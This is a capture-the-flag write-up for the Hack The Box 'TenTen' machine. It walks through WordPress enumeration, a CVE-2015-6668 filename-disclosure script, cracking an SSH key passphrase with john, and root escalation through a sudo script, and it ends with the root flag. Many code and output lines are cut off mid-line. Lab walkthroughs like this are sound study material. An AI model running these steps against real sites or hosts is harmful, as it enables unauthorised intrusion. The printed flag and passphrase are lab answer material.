

Hack The Box – TenTen

OS – Linux

Nmap scan shows that SSH and HTTP ports are open for the box TenTen (10.10.10.10).

```
Starting Nmap 7.70 ( https://nmap.org ) a
Nmap scan report for 10.10.10.10
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    closed ssh
80/tcp    open  http   Apache httpd 2.4.18
|_http-generator: WordPress 4.7.3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Job Portal &#8211; Just another
Service detection performed. Please report
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned
```

We see that it is running WordPress v4.7.3. On Kali, we can run wpscan against WordPress.

Wpscan -url <http://10.10.10.10>

Shows the versions,

Job Manger portal

XML RPC

This Job Manager portal is the plugin installed on TenTen. So let's explore this a bit more.

When we click on the "Hello World" post on the main page, we see that it was posted by user "Takis". There's also a "Job Listing" at <http://10.10.10.10/index.php/jobs/>. It shows a job with title Pen Tester. When we click on Apply Now, we see the request changes to <http://10.10.10.10/index.php/jobs/apply/8/>. Looks like we can enumerate the requests by changing the 8.

When we run wpscan to enumerate users, we see only "Takis" in the results.

Wpscan -url <http://10.10.10.10> -enumerate u

```
[i] User(s) Identified:

[+] takis
| Found By: Author Posts - Author
| Confirmed By:
|   Rss Generator (Passive Detecti
|   Wp Json Api (Aggressive Detect
|   - http://10.10.10.10/index.ph
|   Author Id Brute Forcing - Auth
|   Login Error Messages (Aggressi
```

Using Burp Intruder, we can fuzz the job number

Attack type: Sniper

```
GET /index.php/jobs/apply/$8$ HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60
Accept: text/html,application/xhtml+xml,application
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```



Payload Options [Numbers]

This payload type generates numeric payloads within a given range.

Number range

Type:



Sequential



Random

From:

To:

Step:

How many:

Number format

Base:



Decimal



Hex

In the results, we can see the different pages. We can automate extracting them by using Grep-Extract:



Grep - Extract



These settings can be used to extract useful information



Extract the following items from responses:

Add

Edit

Remove

Duplicate

Up

Down

Clear

From [Application:] to [Job Portal<]

This shows the results:

Results	Target	Positions	Payloads	Options
Filter: Showing all items				
Request	Payload	Status	Error	
0		200	<input type="checkbox"/>	
1	1	200	<input type="checkbox"/>	
2	2	200	<input type="checkbox"/>	
3	3	200	<input type="checkbox"/>	
4	4	200	<input type="checkbox"/>	
5	5	200	<input type="checkbox"/>	
6	6	200	<input type="checkbox"/>	
7	7	200	<input type="checkbox"/>	
8	8	200	<input type="checkbox"/>	
9	9	200	<input type="checkbox"/>	
10	10	200	<input type="checkbox"/>	
11	11	200	<input type="checkbox"/>	
12	12	200	<input type="checkbox"/>	
13	13	200	<input type="checkbox"/>	
14	14	200	<input type="checkbox"/>	
15	15	200	<input type="checkbox"/>	
16	16	200	<input type="checkbox"/>	

At this point, I got stumped and looked for public exploits. I found this: <https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/>

For WordPress Job Portal plugin exploits.

That seems to match what we have in the portal.

After modifying the year range and filename extensions:

```
website = raw_input('Enter a vulne
filename = raw_input('Enter a file

filename2 = filename.replace(" ",

for year in range(2013,2019):
    for i in range(1,13):
        for extension in {'jpg','j
            URL = website + "/wp-co
        ) + "/" + filename2 + "." + extensi
        req = requests.get(URL)
        if req.status_code==200:
            print "[+] URL of C
~
```

The result shows the location of HackerAccessGranted.jpg.


```
CVE-2015-6668
```

```
Title: CV filename disclosure on J
```

```
Author: Evangelos Mourikis
```

```
Blog: https://vagmour.eu
```

```
Plugin URL: http://www.wp-jobmanag
```

```
Versions: <=0.7.25
```

```
Enter a vulnerable website: http://
```

```
Enter a file name: HackerAccessGra
```

```
[+] URL of CV found! http://10.10.  
jpg
```

```
root@kali: ~/Downloads#
```

Wget the jpg file.

Wget <http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg>

I used the steganography tools online at <https://futureboy.us/stegano/decode.pl> to decode the jpg.

It's encrypted, so we can use tools like John to decrypt this. But before that, we need to convert this into a format that John accepts. Use the tool ssh2john on Kali.

```
ssh2john id-rsa-encrypted > ssh2john-output
```

Now run John against this output.


```
root@kali:~/Downloads# john ssh2john-ou
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA])
Press 'q' or Ctrl-C to abort, almost done!
superpassword (id-rsa-encrypted)
1g 0:00:00:00:00 DONE (2020-05-23 16:44)
Use the "--show" option to display
```

```
root@kali:~/Downloads# john ssh2john-ou
id-rsa-encrypted:superpassword
1 password hash cracked, 0 left
```

Chmod 600 id-rsa-encrypted → to avoid permissions issue

Then try to SSH into TenTen as Takis
ssh -i id-rsa-encrypted takis@10.10.10.10

the “superpassword” should let you log in.

```
root@kali:~/Downloads# ssh -i id
Enter passphrase for key 'id-rsa
Welcome to Ubuntu 16.04.2 LTS (G

* Documentation:  https://help.
* Management:    https://lands
* Support:        https://ubunt

65 packages can be updated.
39 updates are security updates.

Last login: Fri May  5 23:05:36
takis@tenten:~$ ls
user.txt
```

When we check the user's sudo permissions, we see a script.

```
takis@tenten:~$ sudo -l
Matching Defaults entries for takis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/bin\:/usr/sbin\:/bin\:/sbin

User takis may run the following commands on tenten:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/fuckin
takis@tenten:~$ /bin/fuckin
takis@tenten:~$ /bin/fuckin bash
takis@tenten:~$ sudo /bin/fuckin
root@tenten:~# ls
user.txt
root@tenten:~# sudo -
sudo: -: command not found
root@tenten:~# su - root
root@tenten:~# ls
root.txt
root@tenten:~# more root.txt
f9f7291e39a9a2a011b1425c3e08f603
root@tenten:~#
```

